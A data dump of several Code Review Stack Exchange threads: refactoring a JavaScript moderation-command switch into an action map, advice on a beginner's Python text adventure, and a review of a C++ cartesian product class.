class=\"lang-js prettyprint-override\"><code>const getOrDefault = (element, def) => element !== undefined ? element : def;\nconst getOrEmpty = (element) => getOrDefault(element, '');\n\nconst executeModeration = async (command, channel) => {\n const [param0, param1, param2] = command.parameters;\n switch (command.command) {\n case "ban":\n if (param0)\n await moderation.ban(channel, param0, getOrEmpty(param1));\n break;\n case "unban":\n if (param0)\n await moderation.unban(channel, param0);\n break;\n case "timeout":\n if (param0)\n await moderation.timeout(channel, param0, getOrDefault(param1,300), getOrEmpty(param2));\n break;\n case "emoteonly":\n await moderation.emoteonly(channel);\n break;\n case "emoteonlyoff":\n await moderation.emoteonlyoff(channel);\n break;\n case "followersonly":\n await moderation.followersonly(channel, getOrDefault(param0, 30));\n break;\n case "followersonlyoff":\n await moderation.followersonlyoff(channel);\n break;\n case "r9kbeta":\n await moderation.r9kbeta(channel);\n break;\n case "r9kbetaoff":\n await moderation.r9kbetaoff(channel);\n break;\n case "slow":\n await moderation.slow(channel, getOrDefault(param0, 30));\n break;\n case "slowoff":\n await moderation.slowoff(channel);\n break;\n case "subscribers":\n await moderation.subscribers(channel);\n break;\n case "subscribersoff":\n await moderation.subscribersoff(channel);\n break;\n case "mod":\n if (param0)\n await moderation.mod(channel, param0);\n break;\n case "unmod":\n if (param0)\n await moderation.unmod(channel, param0);\n break;\n case "vip":\n if (param0)\n await moderation.vip(channel, param0);\n break;\n case "unvip":\n if (param0)\n await moderation.unvip(channel, param0);\n break;\n case "clear":\n await moderation.clear(channel);\n break;\n case "host":\n if (param0)\n await moderation.host(channel, param0);\n break;\n case "unhost":\n await moderation.unhost(channel);\n break;\n case "commercial":\n if (param0)\n await moderation.commercial(channel, param0);\n break;\n }\n}\n</code></pre>\n<p>Note that, while we still have the switch/case, and timeout line seems much more readable.</p>\n<h1>Let's get ride of the switch/case</h1>\n<p>We can now replace the switch/case with an object of actions.</p>\n<pre class=\"lang-js prettyprint-override\"><code>const getOrDefault = (element, def) => element !== undefined ? element : def;\nconst getOrEmpty = (element) => getOrDefault(element, '');\n\nconst moderationCommandActions = {\n ban: async (channel, nick, param2) => {\n if (nick) {\n await moderation.ban(channel, nick, getOrEmpty(param2))\n }\n },\n unban: async (channel, nick) => {\n if (nick) {\n await moderation.unban(channel, nick);\n }\n },\n timeout: async (channel, nick, value, param2) => {\n if (nick) {\n await moderation.timeout(channel, nick, getOrDefault(value, 300), getOrEmpty(param2));\n }\n },\n emoteonly: async (channel) => await moderation.emoteonly(channel),\n emoteonlyoff: async (channel) => await moderation.emoteonlyoff(channel),\n [...],\n};\n\nconst executeModeration = async (command, channel) => {\n const action = moderationCommandActions[command.command];\n if (action) {\n await action(channel, ...command.parameters);\n }\n}\n</code></pre>\n<p>Note that allowed me to put some name like <code>nick</code> instead of param0 (but as I don't know your API, I'm not sure it's the correct meaning). The best thing here is to get ride of <code>paramX</code> names and use descriptive names.</p>\n<p>Finally, <code>getOrEmpty</code> and <code>getOrDefault</code> are now only used to check action params, thus can be replaced by default params in the functions declarations.</p>\n<h1>Replacing getOrEmpty and getOrDefault</h1>\n<pre class=\"lang-js prettyprint-override\"><code>const moderationCommandActions = {\n ban: async (channel, nick, param2='') => {\n if (nick) {\n await moderation.ban(channel, nick, param2)\n }\n },\n unban: async (channel, nick) => {\n if (nick) {\n await moderation.unban(channel, nick);\n }\n },\n timeout: async (channel, nick, value=300, param2='') => {\n if (nick) {\n await moderation.timeout(channel, nick, value, (param2));\n }\n },\n emoteonly: async (channel) => await moderation.emoteonly(channel),\n emoteonlyoff: async (channel) => await moderation.emoteonlyoff(channel),\n [...],\n};\n\nconst executeModeration = async (command, channel) => {\n const action = moderationCommandActions[command.command];\n if (action) {\n await action(channel, ...command.parameters);\n }\n}\n</code></pre>\n<p>Note how the the timeout implementation is now much more readable than the original one.</p>\n<h1>Using destructuring assignement</h1>\n<p>You can finally replace:</p>\n<pre class=\"lang-js prettyprint-override\"><code>const executeModeration = async (command, channel) => {\n const action = moderationCommandActions[command.command];\n if (action) {\n await action(channel, ...command.parameters);\n }\n}\n</code></pre>\n<p>by</p>\n<pre class=\"lang-js prettyprint-override\"><code>const executeModeration = async ({ command, parameters }, channel) => {\n const action = moderationCommandActions[command];\n if (action) {\n await action(channel, ...parameters);\n }\n}\n</code></pre>\n<p>but be carrefull, if you need to check if the first parameter of the function is not null, you can't do that, and you are forced to do:</p>\n<pre class=\"lang-js prettyprint-override\"><code>const executeModeration = async (command, channel) => {\n if (command) {\n const action = moderationCommandActions[command.command];\n if (action) {\n await action(channel, ...command.parameters);\n }\n }\n}\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-26T21:10:15.273",
"Id": "249901",
"ParentId": "249873",
"Score": "7"
}
},
{
"body": "<p>This solution may not be appropriate for your project depending on how else commands are used in your codebase, or if the commands are provided by an external library, among other things. But based on the snippet you give here, it might be a more suitable way to structure your code.</p>\n<p>Let's start by reviewing two key elements of your code here: commands and the <code>moderation</code> variable.</p>\n<ul>\n<li>There are several different variants of commands, specified by the <code>command.command</code> field. Commands can also include additional data, specified in the <code>command.parameters</code> array, which depend on which variant the command is. For example, the "unban" command contains one piece of data: the user to unban. On the other hand, the "ban" command contains two pieces of data, the user to ban and a string (which I'm going to assume states the reason the user was banned). Note that rewriting the code like this would make it easier to see the meaning each parameter has:</li>\n</ul>\n<pre class=\"lang-js prettyprint-override\"><code> case "ban": {\n const user = command.parameters[0];\n if(user) {\n const reason = command.parameters[1];\n await moderation.ban(channel, user, reason !== undefined ? reason : '');\n }\n }\n break;\n</code></pre>\n<ul>\n<li><code>moderation</code> is an object with several methods (functions) -- specifically, one method for each variant of command, which takes that command's particular parameters as arguments (in addition to the <code>channel</code> argument). For example, since "ban" is a command that includes a user parameter and a reason parameter, <code>moderation</code> has a method called <code>ban</code> that takes a user argument and a reason argument (and a channel argument).</li>\n</ul>\n<p>The reason I spell this out is because the correspondence between the variants of commands and the methods of the <code>moderation</code> object resembles the Visitor Pattern from languages like Java and C#. If you want to see how it works in those languages, <a href=\"https://refactoring.guru/design-patterns/visitor\" rel=\"nofollow noreferrer\">here</a> is a link, but it mentions some things that aren't relevant in JavaScript, so I'll just mention the necessary bits here.</p>\n<p>The <code>moderation</code> object plays the Visitor role of the Visitor Pattern, and it already closely matches Visitor implementation as is. The commands play the Visited (or Element) role of the Visitor Pattern, but aren't currently implemented like they are in the pattern. We want to make it so that command objects each have a method (which we'll call <code>execute</code>) that takes a <code>moderation</code> object and calls the <code>moderation</code> method associated with the command. That is, if <code>command</code> is a "ban" command, then <code>command.execute(moderation)</code> should call <code>moderation.ban(command.user, command.reason)</code>. Of course, we also have to handle the <code>channel</code> argument and using a default reason if none is provided, but that is the basic idea.</p>\n<h2>Class-based option</h2>\n<p>To implement this functionality, we can use JavaScript classes to mirror the class-based implementation of Java/C#. For example, "ban" would be implemented as:</p>\n<pre class=\"lang-js prettyprint-override\"><code>class Ban {\n constructor(user, reason) {\n this.user = user;\n this.reason = reason;\n }\n \n execute(channel, moderation) {\n if (this.user) {\n moderation.ban(channel, this.user, this.reason !== undefined ? this.reason : '');\n }\n }\n}\n</code></pre>\n<p>A "ban" command object would be created like <code>new Ban("YawarRaza7349", "for being confusing")</code> rather than creating an object with a <code>command</code> field and a <code>parameters</code> array field.</p>\n<p>You would create a class like this for each variant of command, so it does require more code, but it better fits an object-oriented style that some find preferable.</p>\n<p>Let's finally go back to the <code>executeModeration</code> code. We replace the code for the "ban" case with:</p>\n<pre class=\"lang-js prettyprint-override\"><code> case "ban":\n await command.execute(channel, moderation);\n break;\n</code></pre>\n<p>You'll notice that every case ends up being implemented like that; the different implementations among the cases have been moved to the <code>execute</code> methods of their respective classes. Thus, we can remove the switch statement and implement <code>executeModeration</code> as:</p>\n<pre class=\"lang-js prettyprint-override\"><code>const executeModeration = async (command, channel) => {\n await command.execute(channel, moderation);\n}\n</code></pre>\n<p>The switch statement was originally needed to call a different method for each variant of command. Now we instead do this by associating each variant with a different <code>execute</code> method, meaning that calling the <code>execute</code> method on a command runs a different implementation of <code>execute</code> for each variant.</p>\n<h2>Closure option</h2>\n<p>If the only thing you ever need to do with these commands is <code>execute</code> them, then we can use closures instead of classes, as follows:</p>\n<pre class=\"lang-js prettyprint-override\"><code>const ban = (user, reason) =>\n (channel, moderation) => {\n if (user) {\n moderation.ban(channel, user, reason !== undefined ? reason : '');\n }\n };\n</code></pre>\n<p>To create an command object, we call <code>ban("YawarRaza7349", "for being confusing")</code> (no <code>new</code> keyword). And we remove the <code>.execute</code> from <code>executeModeration</code>:</p>\n<pre class=\"lang-js prettyprint-override\"><code>const executeModeration = async (command, channel) => {\n await command(channel, moderation);\n}\n</code></pre>\n<p>(Don't mix and match the class-based option and closure option, pick one or the other.)</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-29T14:29:36.077",
"Id": "249999",
"ParentId": "249873",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-26T09:29:29.960",
"Id": "249873",
"Score": "9",
"Tags": [
"javascript",
"performance",
"ecmascript-8"
],
"Title": "Method to delegate command to other methods"
}
|
249873
|
<p>Trying to improve my Python skills by creating a small text adventure. I have used lists to access certain information, but I am not sure if I am using them correctly. For instance, I have used a list to store weapons but wasn't sure of the syntax for accessing them in an if statement. Also, if there is any advice on how to improve the code in general that would be appreciated. I am a beginner so would prefer a simple alternative.</p>
<pre class="lang-python prettyprint-override"><code>weapon = ["sword", "stone", "flower"]
# Create user defined functions for the game first.
def title():
print("In front of you there is a portal. You have no idea where it leads")
print("portal #1")
# Call function
title()
portal = input("Type 1: ")
if portal == "1":
print("There's a wizard conjuring a spell.")
print("What do you do?")
print("1. Talk to the wizard.")
print("2. Attack the wizard.")
print("3. Run away.")
choice_wizard = input("Type 1,2,3: ")
if choice_wizard == "1":
print("The wizard turns you into a frog. Ribbit!")
elif choice_wizard == "2":
print("You see a sword laying on the ground")
print("Would you like to take the sword? Press y or n to continue")
weapon_input = input("Type y or n: ")
if weapon_input == "y" or weapon_input == "Y":
weapon = []
weapon.append("sword")
print("You are now carrying a " + weapon[0] + ", You kill the wizard")
elif weapon_input == "n" or weapon_input == "N":
weapon = []
weapon.append("stone")
print("You are now carrying a " + weapon[0] + ", You hit the wizard in the head with it")
print("He falls over unconscious and dies")
elif choice_wizard == "3":
print("The wizard tries turning you into a frog but misses.")
print("...You escape.")
</code></pre>
|
[] |
[
{
"body": "<p>Here are just a few comments to help improve your code:</p>\n<ol>\n<li><p>When you have a collection, think about how you are going to access the collection. Most of the time, you are going to treat it as a group of items (example: "weapons") and so you should use a plural name. Rarely, you will treat a collection as a single item (example: "database"), and so you should use a singular name.</p>\n</li>\n<li><p><strong>Always</strong> use functions. Yes, python supports having statements directly "up against the wall." But it is much, much easier to write test cases, to debug your code, and to change your mind about what order to do things if you have a single name (function) for a group of statements. Moving things around as blobs of text is miserable and prone to errors.</p>\n</li>\n<li><p>When you find yourself doing something twice, <strong>write a function!</strong> In your case, asking the user for some input is a good place to put a function:</p>\n<pre><code> show_message("There's a wizard conjuring a spell.")\n choice = get_choice("What do you do?",\n "Talk to the wizard",\n "Attack the wizard",\n "Run away")\n</code></pre>\n</li>\n<li><p>As far as your collection of <code>weapons</code> is concerned, think about what kind of game you are writing. If you are writing a "dungeon" style game, where there is going to be a lot of fighting monsters, then having real weapon-objects with stats will be important. In that case, you'll probably want either a <a href=\"https://docs.python.org/3/library/stdtypes.html?highlight=set#set\" rel=\"nofollow noreferrer\"><code>set</code></a> or a <code>list</code>, but you'll want a separate variable to track which of the possibly many weapons is currently being wielded.</p>\n<p>On the other hand, if you are writing more of a "text adventure" game, where just having "the sword" is enough to beat a monster, then you might not want a collection at all. Instead, you might want one or more boolean variables, or perhaps a dictionary full of booleans.</p>\n</li>\n</ol>\n<pre><code> if user_has['the sword']:\n show_message("The troll runs away!")\n else:\n show_message("The troll eats you. You have died.")\n</code></pre>\n<ol start=\"5\">\n<li><p>To specifically answer your question about how to access members of lists: note that you are using the <code>list.append()</code> function. This takes an object and adds it to the <em>end of the list</em>. So if you have 11 items in the list, and you <code>.append</code> another item, it will be the 12th item (index 11, because list indexes are 0-based).</p>\n<p>You can access that item in two ways. The "hard way" is to compute the length of the list and subtract one:</p>\n<pre><code> item = "sword"\n weapons.append(item)\n sword_index = len(weapons) - 1\n print("You have a", weapons[sword_index])\n</code></pre>\n<p>An easier way is to reply on the fact that python supports negative indexes as being from the end of the list. That is, <code>list[-1]</code> is the last item, <code>list[-2]</code> is the next-to-last item, etc. This works with indexes <em>and</em> with slices, so you can also say <code>list[1:-3]</code> or <code>list[-5:]</code> for example. See note 3 in the <a href=\"https://docs.python.org/3/library/stdtypes.html?highlight=ranges#sequence-types-list-tuple-range\" rel=\"nofollow noreferrer\"><code>sequence docs</code></a> for details.</p>\n</li>\n</ol>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-26T16:08:59.580",
"Id": "490038",
"Score": "1",
"body": "If `show_message` is just a renaming of `print` it does not seem to be necessary. Ideally `show_message` should provide some extra functionality, e.g. print multiple messages on multiple lines in one statement."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-26T21:07:44.927",
"Id": "490055",
"Score": "2",
"body": "@GZ0 I think `show_message` is there to be extensible. for eg. when/if OP decides to build a GUI, adds logging etc. and not necessarily restricted to just `print`"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-28T11:34:08.710",
"Id": "490230",
"Score": "0",
"body": "@GZ0 The intent behind `show_message` is to do whatever is needed for the game. Maybe put some color escape sequences, maybe draw a pop-up dialog box, maybe handle i18n, maybe copy the message to a log file. I want to encourage @op to create a comfortable set of primitives that express what the application needs, rather than what the standard library provides."
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-26T11:04:47.650",
"Id": "249878",
"ParentId": "249874",
"Score": "3"
}
},
{
"body": "<p>Some general comments about your approach, not too much specific to your code:</p>\n<p>If you are going to do text interaction look at the <a href=\"https://docs.python.org/3/library/cmd.html#module-cmd\" rel=\"nofollow noreferrer\">cmd</a> module which will give you a structure for the part of your code where you interact with the user. Group all your I/O in an Interaction class that passes commands to the rest of your program. One of the advantages of doing so is that you can do automated testing on the rest of the program - look at the <a href=\"https://docs.python.org/3/library/unittest.html#module-unittest\" rel=\"nofollow noreferrer\">unittest</a> module for a simple test framework.</p>\n<p>You should look to making the structure of your adventure separate from the code that implements the actions that can be taken. You have locations (nodes), actors (positioned on a node, possibly able to move, modifying or adding to the description of the location), choices (links to other nodes, descriptions of the choices are part of the node's description), loot and weapons (A kind of actor which can be attached to the adventurer), and the adventurer themselves (has at least inventory and position, possibly other attributes that can modify results of choices).</p>\n<p>These can each be implemented as classes with instances for each <code>Location</code> in the map, <code>Choice</code>s get attached to <code>Location</code>s, in game characters (<code>Actors</code>) get attached to a <code>Location</code> instance, etc. Now selecting a <code>Choice</code> can modify the <code>Adventurer</code>'s <code>Location</code> and entering (setting) a new <code>Location</code> prints out the location description. Part of the location description is the description of each of the choices attached to the <code>Location</code> and each of the <code>Actor</code>s currently attached to the <code>Location</code>. This "attachment" is just a list of objects of the appropriate type.</p>\n<pre><code>for num,choice in enumerate(adventurer.location.choices):\n print(f"{num}: choice.desc"})\nchoicenum = inp("What do you do")\n</code></pre>\n<p>and now when the user enters a number that <code>Choice</code>'s instance is found at <code>adventurer.location.choices[choicenum]</code>.</p>\n<p>I would also suggest that you start with a simplified version and then add complexity. In particular I think that defining the nodes and links and then just being able to wander around would be a good base to build from. This would require just the Adventurer, Location and Choice classes along with your Interaction class where all the I/O would take place.</p>\n<p>Good luck, this sounds like it may be a fun project.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-28T05:32:16.413",
"Id": "249941",
"ParentId": "249874",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-26T09:44:30.210",
"Id": "249874",
"Score": "2",
"Tags": [
"python"
],
"Title": "Best way to access lists and nest them with if statements"
}
|
249874
|
<p>The idea is to take a sequence of sequences (of the same type) and use tuples of <code>[iterator, current index, sequence size]</code> to keep track of the current state, such that the <code>cartesian_product</code> object can return one sequence at a time.</p>
<p>General questions:</p>
<ul>
<li>bugs? (would hope not!)</li>
<li>code quality ok? anything i've missed?</li>
<li>is there a simpler way to keep track of the object state (iterators, counts, etc)</li>
<li>would it make sense to make this into an iterator (it could probably be bidirectional?)</li>
</ul>
<p>Improvement ideas:</p>
<ul>
<li>when the number of sequences is known at compile time, maybe it would be better for <code>next()</code> to return a tuple/static array instead of a <code>std::vector<T></code>?</li>
<li>use a simple aggregate type instead of a tuple to avoid all the <code>std::get</code> ugliness?</li>
</ul>
<p>Thanks a lot!</p>
<pre><code>#include <iostream>
#include <tuple>
#include <type_traits>
#include <utility>
#include <vector>
template <typename T>
class cartesian_product {
public:
template <typename... Args, typename = typename std::enable_if<(sizeof...(Args) > 1)>::type>
cartesian_product(Args&&... args)
: count(1)
{
std::cout << "constructor 1\n";
static_assert(std::is_arithmetic<T>::value, "T must be an arithmetic type.");
append(args...);
}
cartesian_product(std::vector<std::vector<T>> const& sequences)
: count(1)
{
std::cout << "constructor 2\n";
tuples.reserve(sequences.size());
for(auto&& s : sequences) {
tuples.emplace_back(s.cbegin(), 0ul, s.size());
count *= s.size();
}
}
cartesian_product(std::vector<std::vector<T>>&& sequences)
: cartesian_product(sequences)
{
std::cout << "constructor 3\n";
}
bool has_next() { return count > 0; }
// next combination
std::vector<T> next()
{
std::vector<T> res(tuples.size());
auto s = res.rbegin();
for (auto p = tuples.rbegin(); p < tuples.rend(); ++p, ++s) {
*s = *std::get<0>(*p);
if (p > tuples.rbegin()) {
auto q = p - 1;
if (std::get<1>(*q) == std::get<2>(*q)) {
std::get<0>(*q) -= std::get<2>(*q);
std::get<1>(*q) = 0;
++std::get<0>(*p);
++std::get<1>(*p);
}
} else {
++std::get<0>(*p);
++std::get<1>(*p);
}
}
--count;
return res;
}
private:
using I = typename std::vector<T>::const_iterator;
using E = std::tuple<I, std::size_t, std::size_t>;
std::vector<E> tuples;
int count;
template <typename... Args>
void append(std::vector<T> const& vec, Args&&... args)
{
append(vec);
append(args...);
}
void append(std::vector<T> const& vec)
{
count *= vec.size();
tuples.emplace_back(std::cbegin(vec), 0ul, vec.size());
}
};
int main(int argc, char** argv)
{
std::vector<int> a { 1, 2 };
std::vector<int> b { 3, 4 };
std::vector<int> c { 5, 6 };
std::vector<int> d { 7, 8, 9 };
std::vector<std::vector<int>> s{ a, b, c, d };
cartesian_product<int> p(a, b, c);
cartesian_product<int> q(s);
cartesian_product<int> r(std::vector<std::vector<int>>{ a, b, c, d });
auto print = [](auto&& vec) { for (auto v : vec) std::cout << v << " "; std::cout << "\n"; };
while (p.has_next())
print(p.next());
return 0;
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-26T13:02:02.413",
"Id": "490019",
"Score": "0",
"body": "See this question: https://codereview.stackexchange.com/questions/247972/cartesian-product-of-two-vector-spaces The answer ends being a generalization for the cartesian product."
}
] |
[
{
"body": "<h1>Don't limit Cartesian products to arithmetic types</h1>\n<p>You shouldn't limit your class to only allow products of vectors of a type that satisfies <code>std::is_arithmetic</code>. Why shouldn't I be able to do a Cartesian product of a <code>std::string</code> and a <code>std::chrono::time_point</code> for example? There is no actual multiplication involved in a Cartesian product after all.</p>\n<h1>Your class will likely force copies of vectors to be made</h1>\n<p>In this constructor:</p>\n<pre><code>cartesian_product(std::vector<std::vector<T>> const& sequences) {...}\n</code></pre>\n<p>The parameter <code>sequences</code> is a reference, so you might think that this doesn't cause any copies to be made. However, that is only true if the caller already has a vector of vectors lying around. In your own example usage in <code>main()</code>, you have four vectors <code>a</code>, <code>b</code>, <code>c</code> and <code>d</code>, but then you create the vector of vectors <code>s</code> which causes a copy to be made of the four original vectors. And the following line constructs a temporary that also makes copies:</p>\n<pre><code>cartesian_product<int> r(std::vector<std::vector<int>>{ a, b, c, d });\n</code></pre>\n<h1>Support more containers besides <code>std::vector</code></h1>\n<p>You only support products of <code>std::vector<T></code>, but what if I have my data in a regular array, a <code>std::array</code>, a <code>std::list</code> or any other container? Again, it is an unnecessary restriction. Try to rewrite it so any type of container works. Either have it accept a reference to a container object directly, or have it accept iterators like the STL algorithms do.</p>\n<h1>Return a tuple instead of a vector</h1>\n<p>A <code>std::vector</code> will allocate memory on the heap, which will impact performance. And since you know the size of the result, you can return a <code>std::tuple</code> instead, which has the advantage that it can be unpacked using C++17's <a href=\"https://en.cppreference.com/w/cpp/language/structured_binding\" rel=\"nofollow noreferrer\">structured bindings</a>. Apart from that, with a <code>std::tuple</code> the value types of each input vector/array/etc can be different, whereas your solution requires all of them to be the same,</p>\n<h1>Add iterators to your class</h1>\n<p>Indeed, it makes sense to add iterators to your class. In fact, it already basically keeps track of everything that an iterator would do, and <code>next()</code> is the equivalent of an iterator's <code>operator++()</code>. Ideally, you want to be able to write something like:</p>\n<pre><code>std::vector<std::string> a_vector{"foo", "bar", "baz"};\nstd::list<int> b_vector{4, 5, 6, 7};\n\nfor (auto [a_element, b_element]: cartesian_product(a_vector, b_vector))\n std::cout << a_element << ", " << b_element << "\\n";\n</code></pre>\n<p>And then expect the following result:</p>\n<pre><code>foo, 4\nfoo, 5\nfoo, 6\nfoo, 7\nbar, 4\nbar, 5\n...\n</code></pre>\n<p>This also avoids the need for a <code>has_next()</code> function.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-28T08:19:52.080",
"Id": "490209",
"Score": "0",
"body": "thanks! will edit the post with the updated implementation when it's done."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-28T09:21:56.337",
"Id": "490214",
"Score": "1",
"body": "@BogdanB You shouldn't update this post, instead create a new post with your updated code."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-28T11:50:29.120",
"Id": "490234",
"Score": "1",
"body": "thanks for the comment. yeah, I guess it's better practice to make a new post and link to this one for context."
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-26T15:14:26.443",
"Id": "249891",
"ParentId": "249876",
"Score": "4"
}
}
] |
{
"AcceptedAnswerId": "249891",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-26T09:58:17.877",
"Id": "249876",
"Score": "6",
"Tags": [
"c++",
"combinatorics",
"generics"
],
"Title": "Simple generic cartesian product in C++"
}
|
249876
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.